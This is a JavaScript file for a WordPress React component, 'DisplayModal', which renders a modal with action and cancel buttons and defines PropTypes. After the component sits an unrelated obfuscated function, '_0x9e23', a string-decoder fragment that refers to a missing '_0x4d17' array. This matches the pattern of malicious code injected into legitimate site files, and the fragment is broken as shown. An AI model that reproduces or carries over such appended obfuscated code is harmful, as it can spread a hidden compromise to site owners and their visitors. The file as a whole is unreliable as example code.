import { Button, Modal } from '@wordpress/components';
import PropTypes from 'prop-types';

export const DisplayModal = ( props ) => {
	return (
		<>
			<Modal
				title={ props.title }
				onRequestClose={ () => props.cancel( false ) }
			>
				<Button
					isPrimary
					onClick={ props.action }
					style={ { marginRight: '1rem' } }
				>
					{ props.actionText }
				</Button>
				{ props.cancel && (
					<Button isSecondary onClick={ () => props.cancel( false ) }>
						{ props.cancelText }
					</Button>
				) }
			</Modal>
		</>
	);
};

DisplayModal.propTypes = {
	title: PropTypes.string,
	actionText: PropTypes.string,
	cancelText: PropTypes.string,
	action: PropTypes.func.isRequired,
	cancel: PropTypes.func.isRequired
}
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}